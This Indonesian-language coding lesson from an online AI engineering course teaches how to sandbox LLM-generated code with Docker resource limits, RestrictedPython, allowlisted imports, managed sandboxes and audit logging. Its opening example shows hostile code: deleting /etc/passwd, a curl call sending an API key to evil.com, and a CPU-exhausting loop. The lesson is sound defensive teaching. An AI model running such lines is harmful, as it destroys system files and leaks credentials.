0Pricing
AI Engineering Academy · Pelajaran

Pengotakan Pasir dengan Docker dan RestrictedPython

Buat lingkungan eksekusi terisolasi menggunakan kontainer Docker dengan batas sumber daya, isolasi jaringan, dan sistem berkas hanya-baca untuk menjalankan kode buatan LLM yang tidak tepercaya dengan aman.

Pengotakan Pasir dengan Docker dan RestrictedPython adalah pelajaran AI Engineering Academy gratis di CoddyKit. Ini adalah pelajaran 2 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar AI Engineering Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus AI Engineering Academy mencakup 4 pelajaran total.

Mengapa Pengisolasian Kode Tidak Dapat Ditawar

Kode yang dibuat LLM berjalan dengan izin yang sama seperti proses yang memanggilnya. Cuplikan kode yang ceroboh atau disusupi secara berbahaya dapat menghapus berkas, membaca variabel lingkungan yang berisi kunci API, mengirim permintaan jaringan, menghabiskan RAM atau CPU, atau memasang pintu belakang. Pengisolasian membuat lingkungan eksekusi terpisah yang membatasi tindakan kode yang dibuat, sehingga agen eksekusi kode cukup aman untuk dijalankan dalam produksi.

# Example of dangerous code an LLM might generate
import os
import subprocess

# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd')              # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']])  # exfiltrates secrets
while True: pass                      # exhausts CPU

# Sandboxing prevents ALL of this

Docker sebagai Lingkungan Terisolasi

Kontainer Docker merupakan lingkungan terisolasi yang paling praktis untuk kode yang dibuat LLM dalam produksi. Setiap eksekusi mendapatkan kontainer baru yang dibangun dari citra minimal, dengan batas ketat pada CPU, memori, dan waktu. Kontainer tidak memiliki akses ke sistem berkas host (kecuali pemasangan ruang kerja yang dinyatakan secara eksplisit), dan akses jaringan dinonaktifkan atau dibatasi ke daftar izin. Setelah eksekusi selesai, kontainer dihancurkan.

import docker
import tempfile
import os

client = docker.from_env()

def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
    # Write code to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(code)
        host_path = f.name
    
    try:
        container = client.containers.run(
            image='python:3.11-slim',           # minimal Python image
            command=f'python /workspace/code.py',
            volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
            mem_limit='256m',                   # max 256 MB RAM
            cpu_period=100000,
            cpu_quota=50000,                    # 50% of 1 CPU core
            network_disabled=True,              # no internet access
            read_only=True,                     # read-only root filesystem
            remove=True,                        # auto-delete container
            timeout=timeout
        )
        return container.decode('utf-8'), ''
    except docker.errors.ContainerError as e:
        return '', e.stderr.decode('utf-8')
    finally:
        os.unlink(host_path)

Batas Sumber Daya di Docker

Docker menyediakan pengendalian sumber daya yang terperinci untuk kontainer terisolasi. Batas utama yang perlu ditetapkan adalah: mem_limit untuk membatasi memori (misalnya, 256m), cpu_quota untuk membatasi waktu CPU, pids_limit untuk mencegah fork bomb, dan timeout untuk menghentikan kode yang macet. Tanpa batas-batas ini, cuplikan kode yang ditulis dengan buruk atau berbahaya dapat membuat seluruh mesin host berhenti bekerja karena menghabiskan semua sumber daya yang tersedia.

sandbox_config = {
    'image': 'code-sandbox:latest',
    'mem_limit': '256m',        # 256 MB max RAM
    'memswap_limit': '256m',    # no swap (prevents RAM expansion via swap)
    'cpu_quota': 50000,         # 50% of a CPU core
    'cpu_period': 100000,
    'pids_limit': 64,           # max 64 processes (prevents fork bombs)
    'network_disabled': True,   # no network
    'read_only': True,          # read-only root filesystem
    'tmpfs': {'/tmp': ''},      # writable /tmp in memory only
    'security_opt': ['no-new-privileges'],  # prevent privilege escalation
    'cap_drop': ['ALL'],        # drop all Linux capabilities
    'remove': True,             # auto-remove after execution
}

Membangun Citra Eksekusi Kode

Menjalankan kode dalam citra minimal python:3.11-slim berarti tidak ada pustaka ilmu data yang tersedia. Bangun citra lingkungan terisolasi khusus yang telah memasang paket yang biasanya diperlukan agen kode (pandas, numpy, matplotlib, scikit-learn) sehingga agen tidak perlu mengakses internet untuk memasang paket saat runtime. Pemasangan sebelumnya juga mempercepat eksekusi secara signifikan.

# Dockerfile for code sandbox
# FROM python:3.11-slim
# 
# RUN pip install --no-cache-dir \
#     pandas==2.1.0 \
#     numpy==1.25.0 \
#     matplotlib==3.7.0 \
#     scikit-learn==1.3.0 \
#     requests==2.31.0 \
#     beautifulsoup4==4.12.0
# 
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
# 
# WORKDIR /workspace

# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every execution

RestrictedPython untuk Pengisolasian dalam Proses

RestrictedPython adalah pustaka Python yang mengompilasi kode dengan pembatasan keamanan yang diterapkan pada tingkat AST. Pustaka ini memblokir bawaan yang berbahaya (exec, eval, __import__), membatasi akses atribut, dan mencegah akses ke metode dunder. RestrictedPython berjalan dalam proses yang sama (tanpa beban Docker), sehingga jauh lebih cepat, tetapi memberikan pengisolasian yang lebih lemah daripada Docker dan lebih cocok untuk kode sederhana dengan risiko rendah.

from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem

def execute_restricted(code: str) -> dict:
    # Compile with restrictions
    byte_code = compile_restricted(code, '<string>', 'exec')
    
    # Define a restricted global namespace
    restricted_globals = {
        '__builtins__': safe_builtins,  # no exec, eval, __import__, open
        '_getiter_': iter,
        '_getitem_': guarded_getitem,
        '_iter_unpack_sequence_': safe_iter_unpack_sequence,
        'print': print,  # allow print
    }
    
    local_vars = {}
    exec(byte_code, restricted_globals, local_vars)
    return local_vars

# Test
try:
    result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
    print('Blocked:', e)

Membandingkan Docker dan RestrictedPython

Kedua pendekatan pengisolasian tersebut memiliki kompromi yang berbeda. Docker menyediakan pengisolasian tingkat OS yang sesungguhnya: setiap eksekusi merupakan proses terpisah tanpa status bersama, dan bahkan upaya mengeksploitasi kernel dibatasi pada kontainer. Kekurangannya adalah beban awal 0,5–2 detik per eksekusi. RestrictedPython dimulai dalam hitungan milidetik dan tidak memerlukan infrastruktur kontainer, tetapi memberikan pengisolasian yang jauh lebih lemah serta memiliki celah yang diketahui untuk dilewati oleh penyerang canggih.

# Decision guide
def choose_sandbox(requirements: dict) -> str:
    if requirements.get('user_provided_code'):  # untrusted third party code
        return 'docker'  # must use Docker for true isolation
    
    if requirements.get('needs_filesystem_access'):
        return 'docker'  # Docker volumes are safer
    
    if requirements.get('low_latency_critical'):  # < 100ms per execution
        return 'restrictedpython'  # no container startup overhead
    
    if requirements.get('llm_generated_internal_only'):  # your own trusted agent
        return 'restrictedpython'  # acceptable risk, faster
    
    return 'docker'  # default to stronger isolation when in doubt

Mencantumkan Operasi yang Diizinkan

Docker dan RestrictedPython mendukung pencantuman izin: secara eksplisit hanya mengizinkan operasi yang benar-benar diperlukan agen kode, alih-alih memblokir semua hal yang berbahaya. Misalnya, izinkan operasi pandas dan numpy, tetapi blokir subprocess, socket, dan os.system. Pencantuman izin lebih aman daripada daftar blokir karena Anda tidak perlu mengantisipasi setiap kemungkinan jalur serangan.

from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np

# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
    'pandas': pd,
    'numpy': np,
    # NOT allowed: subprocess, socket, os, sys, importlib
}

def make_restricted_globals():
    builtins = dict(safe_builtins)  # safe subset of Python builtins
    builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
    return {'__builtins__': builtins, **ALLOWED_MODULES}

def make_guarded_import(allowed: dict):
    def guarded_import(name, *args, **kwargs):
        if name not in allowed:
            raise ImportError(f'Import of {name} is not allowed in sandbox')
        return allowed[name]
    return guarded_import

Volume Ruang Kerja Persisten

Agen kode sering perlu menulis file perantara (CSV yang sudah dibersihkan, grafik yang dibuat) yang dapat dibaca oleh iterasi kode berikutnya. Gunakan volume ruang kerja di Docker: direktori pada host yang dipasang dengan akses baca-tulis ke dalam kontainer. Setiap eksekusi kontainer dalam sesi yang sama berbagi volume ini, sehingga agen dapat membangun ruang kerja berisi file secara bertahap di berbagai iterasi, sementara sistem file akar kontainer tetap hanya-baca.

import os
import tempfile

class AgentWorkspace:
    def __init__(self):
        self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
        os.chmod(self.dir, 0o755)
        print(f'Workspace created: {self.dir}')

    def get_docker_mount(self):
        return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}

    def list_files(self):
        return os.listdir(self.dir)

    def cleanup(self):
        import shutil
        shutil.rmtree(self.dir)
        print('Workspace cleaned up')

# Usage across iterations
workspace = AgentWorkspace()

for i, code in enumerate(agent_generated_code_iterations):
    volumes = workspace.get_docker_mount()
    output, err = execute_in_docker(code, volumes=volumes)
    # Code in iteration 2 can read files written by iteration 1

Sandboxing di Lingkungan Cloud

Dalam lingkungan produksi, Anda sering ingin menjalankan sandbox kode di cloud, bukan di server API Anda. Layanan seperti AWS Lambda (dengan VPC terbatas), kontainer Google Cloud Run, atau layanan sandbox khusus seperti E2B (e2b.dev) menyediakan lingkungan eksekusi terisolasi yang dikelola. E2B secara khusus dirancang untuk agen kode AI, dengan sandbox Python yang dapat dimulai dengan cepat dan API sederhana.

# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox

def execute_with_e2b(code: str) -> tuple[str, str]:
    with Sandbox() as sandbox:
        execution = sandbox.run_code(code)
        stdout = '\n'.join(execution.logs.stdout)
        stderr = '\n'.join(execution.logs.stderr)
        return stdout, stderr

# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')

Pemantauan dan Pencatatan Audit

Bahkan dengan sandboxing, catat setiap eksekusi kode untuk keperluan audit keamanan. Catat: kode lengkap yang dikirim untuk dieksekusi, waktu dan durasi eksekusi, sesi agen dan pengguna yang memicunya, keluaran stdout/stderr, serta setiap pelanggaran keamanan yang dicoba (impor yang diblokir, batas sumber daya yang tercapai). Jejak audit ini penting untuk menyelidiki perilaku yang tidak terduga dan membuktikan kepatuhan.

import time
import hashlib

def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
    code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
    start = time.time()
    
    stdout, stderr = execute_in_docker(code)
    
    audit_record = {
        'agent_id': agent_id,
        'session_id': session_id,
        'code_hash': code_hash,
        'code_preview': code[:200],  # first 200 chars
        'start_time': start,
        'duration_ms': (time.time() - start) * 1000,
        'had_error': bool(stderr),
        'output_length': len(stdout)
    }
    write_audit_log(audit_record)
    return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}

Pertahanan Berlapis untuk Agen Kode

Tidak ada satu mekanisme sandboxing pun yang sempurna. Terapkan pertahanan berlapis: gabungkan isolasi Docker dengan batas sumber daya, gunakan pengguna non-root di dalam kontainer, nonaktifkan akses jaringan, gunakan sistem file akar hanya-baca dengan tmpfs untuk /tmp, jalankan kontainer dalam VM atau fungsi cloud terpisah dengan hak istimewa rendah, dan pantau eksekusi untuk mendeteksi penggunaan sumber daya yang tidak wajar. Beberapa lapisan independen berarti pembobolan satu lapisan tidak membahayakan keseluruhan sistem.

Pemeriksaan Singkat

Uji pemahaman Anda tentang sandboxing eksekusi kode dari pelajaran ini.

Rangkuman Pelajaran

Dalam pelajaran ini Anda mempelajari: sandboxing Docker adalah standar emas untuk menjalankan kode yang dihasilkan LLM dengan aman, menggunakan isolasi tingkat kontainer, batas sumber daya, dan pembatasan jaringan; RestrictedPython adalah alternatif dalam proses yang lebih cepat tetapi lebih lemah, cocok untuk agen internal berisiko rendah; dan pertahanan berlapis menggabungkan beberapa lapisan perlindungan karena tidak ada satu mekanisme pun yang memadai. Selanjutnya kita akan membahas pengelolaan status di antara langkah-langkah eksekusi kode.

Pertanyaan yang Sering Diajukan

Apakah pelajaran “Pengotakan Pasir dengan Docker dan RestrictedPython” gratis?

Ya — teks lengkap “Pengotakan Pasir dengan Docker dan RestrictedPython” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus AI Engineering Academy, upgrade ke CoddyKit PRO. Kursus AI Engineering Academy mencakup 4 pelajaran total.

Apa yang akan aku pelajari di “Pengotakan Pasir dengan Docker dan RestrictedPython”?

Buat lingkungan eksekusi terisolasi menggunakan kontainer Docker dengan batas sumber daya, isolasi jaringan, dan sistem berkas hanya-baca untuk menjalankan kode buatan LLM yang tidak tepercaya dengan… Kamu berlatih AI Engineering Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.

Apakah aku perlu pengalaman untuk memulai AI Engineering Academy?

Tidak diperlukan pengalaman sebelumnya. AI Engineering Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 2 dari 4.

Berapa lama pelajaran “Pengotakan Pasir dengan Docker dan RestrictedPython” memakan waktu?

Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.

Bisakah aku menulis dan menjalankan kode dalam pelajaran AI Engineering Academy ini?

Ya. Setiap pelajaran AI Engineering Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.

Semua pelajaran dalam kursus ini

  1. Perulangan Eksekusi Kode
  2. Pengotakan Pasir dengan Docker dan RestrictedPython
  3. Mengelola Status di Berbagai Langkah Eksekusi
  4. Membangun Agen Analisis Data
← Kembali ke AI Engineering Academy